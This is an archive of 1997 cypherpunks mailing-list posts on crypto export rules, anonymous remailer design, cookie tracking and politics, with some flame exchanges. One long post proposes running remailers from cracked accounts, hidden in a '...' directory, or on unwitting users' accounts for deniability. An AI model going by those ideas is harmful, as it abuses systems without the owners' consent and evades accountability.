     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 8 Aug 1997 15:57:14 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
Message-ID: <199708071951.MAA21851@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  7 Aug 97 at 0:18, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
> writes:
> 
> > > Once the offending articles are part of the spool on toher site,
> > > it's pointless for me to issue cancels.
> >
> > Not even to free up diskspace?
> 
> Correct.

For no reason whatsoever should you cancel a message you did not send 
yourself.

See:

http://www.npr.org/plweb-cgi/fastweb?getdoc+npr+npr+12142+2+wAAA+spam

NPR's Jim Zarroli reports that UUNet, the Internet service provider
whose billboards were blocked, condemned the action and called the
incidents "digital terrorism"

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 8 Aug 1997 15:57:56 +0800
To: cypherpunks@toad.com
Subject: Export Tax vs ITAR as a compromise ...
Message-ID: <199708072032.NAA20409@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



How about this as a political compromise ...

1.  Allow any export of crypto.

2.  Tax crypto exports heavily, say 25% or something
    like that, unless key recovery (or some other
    GAK-ish feature) is part of the product.  For
    instance, structuring the taxes so that ...

        GAK-only     products get taxed   0%
        GAK-optional products get taxed  20%
        non-GAK      products get taxed  25%

3.  Give this revenue upside to the FBI/CIA/NSA/NRO.

Internet commerce products alone would bring in shit
loads of revenue for these agencies.  And, as a
side-benefit for these agencies, many companies will
opted for GAK just for export tax reasons.

This, of course, will not please the crypto-purists,
but crypto is just one of many areas where the
government is feeling like it is losing control.  And
while that attitude is just infantile, we have to be
realistic about those very human people and very human
organizations who have a tough job to do.  As much as I
hate ITAR, I feel really bad for the NSA.

----

1.  Fundamentally, I only oppose ITAR on First
Amendment grounds: I should be able to write any
program I can type, and I should be able to give that
program out.  This is computer speech, but it sure is
speech.  Therefore, my personal interest is to perserve
that freedom.  (If I happen to write a book about
dangerous chemicals or explosives [write crypto code],
why should I be held criminally liable if a terrorist
buys my book [downloads my source code] or steals it
from a library [intercepts an E-Mail containing the
sources].)

2.  My guess is that the NSA has NOT really advanced
the state of the art of crypto much.  I suspect they
have capabilities that are maybe one or two orders of
magnitude (in terms of art, not pure bruteforce
resources) ahead of us common folks, but we can crank
up the computational complexity without a wink, and
then, they are just helpless.  One particular
rumoroid/factoid worth keeping in mind is that they
have succeeded in the past, not just by being smarter,
but also by dumbing-down everyone else.  Sooner or
later, that part of the strategy will no longer work.

3.  There is something to be said for controlling
export and import of products when the rest of the
world is not using a economic system quite like ours.
There is also something to be said for controlling
export of products that might reduce our national
strategic advantage (whatever that means).

Of course, there is also self-delusion, and, if I were
to assume the FBI/NSA is being completely honest,
self-delusion is what they seem to be falling back on.
I mean, REALLY now, if you can't control huge cabinets
of supercomputers (oops ... I guess they are just
desktop pizza boxes now, aren't they?), how are you
going to control bits?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 8 Aug 1997 15:58:59 +0800
To: hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19970807082355.00708b40@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Read my earlier post re: this.  Clinton already said he'd veto SAFE.

At 10:00 AM 8/5/97 -0700, stewarts@ix.netcom.com wrote:
>
>At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>>Does anyone have any idea whether Clinton's threat of using the
>>line-item veto against portions of the big spending bill could
>>be leverage against some pro-SAFE legislators?
>
>The line item veto doesn't eliminate the political games in the budget,
>it just changes the details a bit.  Sure, he could threaten to
>veto their favorite pork-barrel projects for crossing him on crypto,
>just as he could threaten to veto them if they don't support
>his favorite pork.  But as someone else said, he can threaten to
>veto the crypto bill itself, or (perhaps worse) threaten to veto it
>unless it's "balanced", by including controls on domestic cryptography
>in return for letting Big Business export more products.
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:59:20 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970807093112.4169A-100000@well.com>
Message-ID: <R5u3ae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> Thanks for the help, folks. This is for an article on privacy I was
> working on, and I found the info I needed. For instance, Netscape's
> explanation of the protocol left me wondering about whether cookies from
> acme.com could be requested by competitor.com.
The answer is YES, although it requires a little work.

Suppose that you point your browser at http://www.A.com/index.html.

Suppose that file contains an <img src="http://www.B.com/X.cgi">.
The CGI file displays a little picture, and also gets or sets a cookie.

Suppose you next browse http://www.C.com/index.html, and it too
contains the same <img src...>.  Since the cookie is "owned" by B.com,
not A.com or C.com, the cgi file can track your movement from A.Com to
B.Com.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 15:59:10 +0800
To: cypherpunks@toad.com
Subject: Money magazine on Internet gambling
Message-ID: <Pine.GSO.3.95.970807141911.16301N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



A colleague of mine down the hall at Money magazine just stopped by and
asked for help on a Net-gambling story. I think she's interested in the
offshore issues -- but this being Money, I think they're looking for
horror stores as well. (Junior running up a $20,000 tab on Daddy's credit
card. You know the drill.) I already gave her my copy of the July Wired
with Charles Platt's article on FC97, told her about Sen. Kyl's bill, and
gave her the URL to MSNBC's special report.

If anyone wants to give her a call, email me for her phone number.

-Declan

PS: Thanks to everyone who responded about the digital cash story for
Money earlier this summer. I printed out all the responses I got and
forwarded them along, but the story got killed...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 8 Aug 1997 16:47:36 +0800
To: cypherpunks@toad.com
Subject: Gore on "information standard," from wire service reports
Message-ID: <Pine.GSO.3.95.970807142838.10350B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



@TEXT
	<B>gore-urban-league 6thadd<P>
	GORE/URBAN LEAGUE       PAGE 10 08/06/97 .STX
	x x x high.
	You know, forget about the gold standard; we're on the information
standard.  There's $1-1/2 trillion in the global economy sloshing around
every single day, flowing toward those nations that make hard choices
based on real numbers and get away from illusionary policies based on
secondhand smoke and rear-view mirrors.  By making the tough choices and
investing more in our priorities for the future, while at the same time
steadily reducing the budget deficit, we are keeping interest rates down
and drawing investment capital to the right places in the United States of
America.
	President Clinton and I know that while a strong and growing
national economy is job number one, and while we are proud of the progress
that has been made, we know that it is only a start, and much more needs
to be done.  We know that it's also not enough, because while we must
improve the track, we must also make sure that everyone has the
opportunity to get to the starting gate.
	That's especially important today, because we are entering a new
economy, one that is not just better and stronger than the old one, but
one that is very different as well, in fundamentally new ways.  It is an
economy driven by information and technology.  It is an economy that
depends less on the size of our factories than it does on the skills and
creativity of our people.  It is an economy that is linked to the global
marketplace by phone, fax, and computer cable.  It is an economy that is
zapping dollars and data around the world every moment at the speed of
light.
	That's something new.  We all know that.  We see it in our daily
lives.  We experience it when we walk into a business establishment. We
see it in our own work.
	And if we prepare for this new economy, this new world, in the
right way, then this new economy can be the most empowering and inclusive
economy that the United States of America has ever known.
	In an economy where goods and services are increasingly traded
along and across the information superhighway, a simple connection to the
Internet can transform an isolated urban community into a thriving
economic center.
	In an economy where companies cannot afford not to hire and
promote the best-educated, best-trained, best-skilled employees, the right
kind of education can indeed help to crack the glass ceiling and break
through the barriers of prejudice and hatred, and get rid of the residue
of that hatefulness from history  in an economy. .ETX 
	GORE/URBAN LEAGUE       PAGE 11 08/06/97 .STX
	MORE
	.ETX Aug 06, 1997 12:04 ET .EOF 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:57:29 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708071945.UAA04602@server.test.net>
Message-ID: <Pine.LNX.3.94.970807160614.2843G-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> You know how middleman operators work...  they always, always send
> mail via another remailer and never deliver mail to a user.  (I'm not
> sure if they detect this by looking to see if the address is on the
> remailer list, or just always add an extra hop?)

I think by definition a middleman always chains through one or more
additional remailers. When I ran dustbin, it was a "smart middleman",
i.e., if the recipient was a known remailer, it wouldn't bother to chain
(remailers rarely complain), otherwise it would chain through a single
remailer. I have a procmail script which does this as well using mixmaster
only (some definitions are missing here): 

# Smart middle. If not to another remailer, send it through a random mixmaster.
# Mixmaster 2.0.3 compatible.

:0 f
* MIDDLE ?? (on|yes)
*! ? grep "$TO" $RLIST $TYPE2
| formail -bf -I"From:" -I"To:" -I"Comments:" -IMessage-ID: \
        | $MIXPATH/mixmaster -f -to $TO -l 0 

# We made it this far, so send out the mail.

:0
| $SENDMAIL $SENDMAILFLAGS 

An even smarter middleman would detect PGP messages and deliver those
directly to end recipients, since those people are unlikely to complain
about anonymous mail, and chain if the message was plaintext. The risk
involved with this type of middleman operation should be rather small.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<


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Version: 2.6.3ia
Charset: noconv

iQEPAwUBM+ouuhOPBZTHLz8dAQFMaQfPYwBpG+f05Oq/gu4nZDacu+0DDg/v/EgI
IOZa4GCrNlhfbl0mp0XFLbEWLi8SvwWhpo6nhOFDIda7wcmyo032TfbcajNPEcz7
qeRNBEY2wDwp9B9MaXZlFyThnmnqsfgeU0h/c+txPiV48HsiX2uvG1NEKumqxq+e
R1nqBS6Ob5uP+1urfqAbrdeTPdRSwlx+C9SlxMLLYpoPq5OM8YZu08UOBVWRE2FD
ia4DvHCWVBsj2rpgiDrpWyMHAEbkoy9FJm5qUa2FqZq62TrS0rVugdjsE4mvisjM
ULoalmkRHsByl/qUICRqSpktQQtveq2I3MEIHYSk7tEVJQ==
=0FkI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 8 Aug 1997 15:47:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exit Remailer Suggestion
Message-ID: <19970807233007.6487.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



ACTIVE

Maybe your remailing software could connect to a URL like this and
imitate the action of typing in mail.  But it might have to login
first.  Hotmail asks you to log out if you don't plan to use the
system any more for a while.  So it seems like it keeps some kind of
record of who is logged in.

A good project would be to make an exit remailer whose only job was
to choose from a random list of hotmail accounts and redirect mail.
It wouldn't have to have a lot of complicated cryptography, it would
just be for the last step.

"John


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 15:47:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulkpostage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <v03102800b0100f88f756@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 AM -0700 8/6/97, Adam Back wrote:

>2) When the government or whoever wants to sue someone for spam they
>   will have to prove who the spammer is.  (Right?)  So now they'll
>   look at the From address at it will say remailer@foo.com.  So
>   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>   won't be able to cooperate because he doesn't keep logs.  They won't
>   be happy with Fred, and will pass this information along to him by
>   stealing his equipment, prosecuting him for assisting in a felony
>   crime (they'll make it a felony right?), lock him and throw away
>   the key.  But what about Freds constitutional protection of the
>   speech forwarded by his remailer?  (Judge + congress-critter:
>   Constitution wassat?)

Delivery services are not held liable for the contents of the packages they
deliver, generally. (If they are parties to the crime, natch. And some say
they can be compelled to assist in law enforcement activities.)

Nor are delivery services required to "know their customer" or to have
ironclad proof of where a package originated. (Hell, even the U.S. Postal
Service allows mail with no valid return address, and this was my
experience in Europe as well.)

The "From:" field in e-mail is not to be confused with the "originator"
(whatever that may be).

Not even the U.S. courts are so dumb as to accept the claim that a package
delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
the "sender."

When this "From:" thing eventually gets to a court, I expect this
distinction will be obvious to all.

Remailers are just middlemen in a delivery process.

(Further protection in the U.S. comes from the ECPA, of course, which
explicitly makes it illegal for a middleman to examine e-mail. How can they
screen e-mail for illegal words if they are forbidden to look?)


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 8 Aug 1997 15:38:50 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: <v03102807b01030289ecd@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



>How about this as a political compromise ...
>
>1.  Allow any export of crypto.
>
>2.  Tax crypto exports heavily, say 25% or something
>    like that, unless key recovery (or some other
>    GAK-ish feature) is part of the product.  For
>    instance, structuring the taxes so that ...
>
>        GAK-only     products get taxed   0%
>        GAK-optional products get taxed  20%
>        non-GAK      products get taxed  25%
>
If this were in force, and I were someone like, say, PGP,
I would export a single copy of my program to a confederate
overseas who would then duplicate it and sell it abroad,
sending royalty payments back to me.

25% of $50 is um... $12.50.

Lots of revenue there.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 8 Aug 1997 15:44:12 +0800
To: hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <3.0.32.19970807082355.00708b40@best.com>
Message-ID: <3.0.2.32.19970807195514.037903ac@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:34 PM 8/7/97 -0700, geeman@best.com wrote:
>Read my earlier post re: this.  Clinton already said he'd veto SAFE.

Yes, "Fighting Bill" Clinton may be the one who saves us from outlawing 
crypto used in the course of a crime.  Then when the courts throw the export 
ban out...


DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+pgYIVO4r4sgSPhAQFOiAP/ZsHiaf8y1mFxoCW0N6h4p6vjvd/mm9YV
ZPy76w2NIVkVSKGLFm4xOmd2mPo2gpoG1Bgcdxj8Q2SQFOqbSkhnkPbOcf332JG8
IJaEM4cKRZfYlnk5sZiIKXUZsK/w10B/AH42gibqctI1f7yS5Ijs5B5eenc/6u9X
mpUg4P3wz70=
=2QJm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:19:42 +0800
To: cypherpunks@toad.com
Subject: Third party rating systems are good for society
Message-ID: <Pine.GSO.3.95.970807201331.23044B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 19:33:16 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Stanton McCandlish <mech@eff.org>
Cc: mnorton@cavern.uark.edu, jellicle@inch.com,
    fight-censorship@vorlon.mit.edu
Subject: Third party rating systems are good for society


On Thu, 7 Aug 1997, Stanton McCandlish wrote:

> [Lest more people send hatemail, please keep in mind that the description
> of third party ratings as "good things" here means a proliferation of
> third party reviews of  content, goods and services just like we have in
> the real world. It does not mean Milburn imposing his morality on the

I'm still wrestling with how to think about third party rating systems in
general and clunky, pejorative systems like RSACi in particular. How to
differentiate the two in principle? Time to reread the ALA's statements
again.

For I think in general, third party rating systems are boons to society. 
Think of the Good Housekeeping Seal of Approval, Underwriter Labs, and
kosher rating agencies. These are socially useful devices, each one of
them. (I'd be interested to hear what similar systems have sprouted in
other countries.) 

Or, to put it in cypherpunkly terms, marks allow the redistribution of
reputation capital. The Time logo and the Netly News URL on my business
card may boost my reputation when presented to someone who doesn't know
me. An Intel Inside logo may (or may not!) do the same. Even SATs and
GMATs are rating systems of a sort, for they tell a prospective employer
or college something about me. Then there's TRUSTe. 

Third party rating systems are nothing more than the formalization of
gossip, which has lubricated the social wheels of every society that has
ever existed.

So I suggest one should not oppose third party rating systems in general
but instantiations of these systems in particular. RSACi is certainly one
of those. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 8 Aug 1997 15:40:06 +0800
To: cypherpunks@toad.com
Subject: TEST [Ignore]
Message-ID: <C6gP6eCgxLQAbd3GICJE5Q==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:38:18 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708072250.XAA05978@server.test.net>
Message-ID: <Pine.LNX.3.94.970807200648.2843J-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> Wasn't there for a time a hidden middleman.  That is a middleman
> remailer who's published address was a nym account on a nymserver?
> That'd be a "hidden middleman".

There's some now. medusa@squirrel.owl.de is one.  middleman@cyberpass.net
(reno) might be another (not sure the account is anonymous, but could be).

> Dimitri suggested on cypherpunks in the last round of discussion of
> this sort of thing another variation on that -- that you could deliver
> the mail if the person had a PGP public key on the keyservers --
> whether the email was encrypted or not.  On the assumption that people
> who use PGP would be unlikley to complain of anonymous mail.

The only problem with that is the denial-of-service attack you describe
below. I figure if it's already encrypted, delivery is likely to be
welcomed rather than irritating.

> He also suggested beefing up keyserver submission checks (there are
> none right now) so that you need a replyable address to submit a key,
> otherwise the remailer-baiter just posts a key generated with their
> "victim's" email address on it prior to sending to them.

Yeah, I had in mind some kind of magic cookie exchange using the submitted
key. Once the cookie gets returned, the keyserver signs the key with a
special signing key which certifies that the key has at least passed the
"cookie exchange" test. The remailer I was working on (I say "was" because
I just have been too darn busy to finish it) would have implemented that
very thing. It's essentially the same thing the nymservers do when
configured to confirm reply blocks, which they always are. 

Back to the subject: Disposable remailers. It seems the juno remailer
software would be good for this. I'm not sure what the sign-up requirement
are, but it's free. I was also thinking about web-based free mail
services, such as Hotmail and Rocketmail. Receiving mail means having to
parse some HTML, which from the looks of things is do-able but not
trivial. Sending mail might be easier to implement.

Which brings up an interesting idea for an exitman/middleman remailer: Use
a nym or commercial ISP to receive the mail, use throwaway free mail
accounts for delivery (maybe even just plaintext delivery). Hotmail, at
least, inserts an X-Originating-IP:  header, though.  I expect others do
the same. So put your remailer output on a ZIP disk or floppy and run your
delivery on whatever public or semi-public access machine you happen to
get your hands on, once or twice a day.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 15:59:42 +0800
To: azur@netcom.com
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <v03102800b00fa166efe1@[10.0.2.15]>
Message-ID: <199708071945.UAA04602@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Uggh another post which turned out hugely long... I cc'd to remailer
ops due to remailer operator relevance.

Steve Schear <azur@netcom.com> writes:
> >> On Wed, 6 Aug 1997, Adam Back wrote:
> >I propose that an exit remailer is replaceable, that is another
> >remailer can instantly step into it's place and take traffic.  The way
> >to do this is to have a special automated reporting mechanism for
> >exitman remailers.  An easy way to do it is to have the exitman
> >remailers send mail to a given mailing list.  Other remailers which
> >wish to use exitman remailers just subscribe to the chosen mailing
> >list.  We just need a remailer command indicating the creation of a
> >new exitman remailer.  I guess the exitman remailer just sends one
> >message per day, or whatever, and if it stops, you write it off.
> 
> A possible problem is the motivation of those setting up decoys.  If
> they're doing it to help thwart remailer abuse, fine.  But what if
> their intent is to thwart remailers?  Couldn't these dissidents set
> up black-hole remailers which are simply information sinks?  

Good point, they could indeed.

There is another related problem which is a real thorny one:

  Being exit only, the attacker will by definition know the email
  address the messages it forwards are being sent to.  The attacker is
  trying to maximise his ability to disrupt, so he will be trying extra
  hard to conceal from remailer operators and their community that he is
  disrupting.

  Clearly the clever attacker in this situation, trying to disrupt the
  exitman-using middleman remailers reliability will let through
  anything going to a public forum, or to an email address he suspects
  is anything to do with Raph's pinging service.  (Eg any address on the
  cypherpunks list or remailer-ops list as possible collaborators in the
  remailer reliability pinging).

  If the attacker is a Fed or spook or whatever, he will have good
  resources and ability to correlate destination email addresses to
  cypherpunks list members.  Eg you get an account somewhere, they can
  find out by looking at your credit card logs, or whatever.

Counter-measures?

1) Counter measure #1

   A sop I can offer to this difficulty of detecting denial of
   service attacks, is that perhaps you could have the last middleman
   remailer send to a bunch of different randomly selected exitman
   remailers.  So when you get some anonymous mail you get 10 copies of
   it.

   That way you can work out some stats for how likely someone who is
   operating 10 of 20 exit man remailers is to stop a given mail
   getting through.

 1a) Counter-counter measure to 1)

     However if some of these remailers are operating from cracked
     accounts, rather than from anonymously purchased accounts, the
     attacker has an easy job of increasing his percentage of exitman
     remailers: take out the existing ones.  Simple just email the admin
     of the cracked account -- he'll remove it.

2) Counter measure #2

   Another idea, but really quite manual, would be to pick people who
   have advertised PGP keys, send them mail via some exitman remailer,
   and ask them politely to forward it to you.

   (Clearly sending through requests to "let me know if you recieve
   this email" aren't going to be recognized by the attacker, and let
   through if we send mail to people who don't have encryption
   capability).

 2a) Counter-counter measure to 2)

     Course then the attacker can counter by letting through any
     encrypted mail without question.  Stuck there aren't we :-(

3) Counter measure #3

   Scraping the barrel here: what if we enlist the help of exitman
   remailers to check up on other exitman remailers?

   So now lets say we don't release a list of exitman remailers, but
   rather each exitman remailer privately announces itself to one
   randomly selected remailer privately.

   This is better in general because there is now no publically known
   list of exitman remailers.  It is now harder for someone to
   use the list to just email all the admins in the hope that they
   will revoke paid for accounts (attacker makes legal threats,
   claiming to have receiving illegal material from this account or
   whatever), or to remove hacked accounts (real easy this one).

   With this setup we can send mail to one exit man via another one,
   with some chance that the first exitman won't recognize the other
   exitman.  (You wouldn't want to overdo it with repeated mail, or
   the corrupt exitman might start to suspect the mail was another
   exitman).

  3a) counter-counter measure to 3)

      It might be relatively easy for the well funded attacker to work
      out which addresses of those it receives to forward to are
      accounts with exitman installed.  Eg. Watch the traffic from the
      host, after sending a bunch messages through remailers.  Or
      simply finger the account see if the user ever logs in.  (If it
      was hacked, it could be an active account, the user might never
      look at the forward file with |/home/oliver/... , nor the
      exitman remailer installed as "..." in some directory -- if it's
      working properly they won't see the email, and if it's forging
      email well they see replies).  Incidentally exitman remailer
      hidden in "..." would allow a user to install it himself and
      plausibly claim ignorance, a more subtle way to obtain
      "disposable" exitman remailers.  Best run from clearly
      non-technical users accounts with the knowing assistance of a
      technical assitant.

4) counter measure #4

   An exitman remailer pinging service would be easily feasible for
   the post to USENET aspect (or to known mailing list), as the
   exitman remailer would show itself up quickly in this case.

   However I'm not sure this is so useful as mail2news gateways, and
   public postings generally (*) generate a lots less agro for their
   operators than a remailer.  This is because people don't have to
   read USENET, and don't feel nearly so threatened as when they
   receive an anonymous mail aimed at them.  And also because the
   mail2news gateway puts the senders address in the From field, which
   points the finger at the exit remailer anway.  mail2news seems to
   be viewed as more neutral.  If any mail2news operators have
   experiences which suggest otherwise I'd be interested to hear.

   (*) I did read of one case on remailer-operators where someone got
       hit by a remailer hater who used a remailer to post a fake
       advertisement of a CD full of commercial warez.  The
       remailer-hater then anonymously tipped off the SPA.

   Incidentally I say "remailer-hater" here, but I should probably use
   a more term "remailer-attacker" or something, there could also
   feasibly be someone who is actually on our side (in a Zen sort of
   way) and trying to get us to face and solve the DoS and operators
   liability issues with technical solutions by demonstrating the
   current weaknesses.


Some of these attacks are interesting for ordinary remailers also.
Perhaps there exist right now normal (non-middleman) remailers which
will send to another remailer in case it is a ping message, and
anything that looks like an attempt to deliver to Raph, but junk the
rest.

Would we know?


Anyway, overall I think the difficulty in checking on exitman
remailers overall probably means that this simplest practical
compromise for mail delivery from exitman remailers is for the last
middle man remailer to send the mail to multiple exitman remailers.

I also think the that the idea of exitman remailers privately
announcing themselves to selected remailers might mean that they last
longer, otherwise remailer haters will contact the admins and cause
hassle even if they can't correlate any particular message came from a
given remailer due to good mail forgery on the part of the exitman
remailer.

And using exitman remailers to post to USENET might be useful at some
point if open access mail2news gateways got scarce.

> When a email is chain-remailed and doesn't get delivered many, but
> not all, senders would simply assume one of the remailers are having
> delivery problems and resend.  Will Raph's approach work to monitor
> decoys when their number and identity are constantly changing?

In theory yes.  Send it via a couple of exitman remailers to make sure
if you like.  However the smart DoS attack described above is much
harder to counter.

> Won't this significantly complicate remailer clients?

Nope.  The client won't need to know.  You're not expected to send
directly to an exitman remailer.  That is something for remailer
operators to use.

You know how middleman operators work...  they always, always send
mail via another remailer and never deliver mail to a user.  (I'm not
sure if they detect this by looking to see if the address is on the
remailer list, or just always add an extra hop?)

So if there are some exitman remailers, a remailer operator that gets
sick of the heat can switch to a new kind of middleman mode, where he
always posts everything through various exitman remailers.  (Or normal
middleman mode, and leave the hassle of installing software to keep up
to date on current exitmen to other exitman-using middleman
remailers).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:37:47 +0800
To: cypherpunks@toad.com
Subject: Re: Qualcomm employee attacks the remailers
In-Reply-To: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>
Message-ID: <k4e4ae40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
> dung and human excrement :
>  Dr.Dimitri Vulis KOTM wrote the following, and again the master of
> disinformation and  harassing e-mail, points
> out that others are targeting him for the abuses that he is famous for.

Qualcomm employee Paul Pomes, who harrasses anonymous remailer operators
and complains to their employers and upstreams, deserves no mercy.

> Are we expected to have sympathy for this dick brain?

Pathological liar Paul Pomes deserves no sympathy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 8 Aug 1997 15:38:56 +0800
To: cypherpunks@toad.com
Subject: Shor's Algorithms: Mad, Bad and Dangerous
Message-ID: <1.5.4.32.19970808011215.00738ee8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From a WSJ nook review today of "The Fabirc of Reality,"
by David Deutsch (Allan lane, 390 pp., $29.95):

  Using something called "Shor's algorithm," a quantum
  computer can factor giant numbers and thereby break
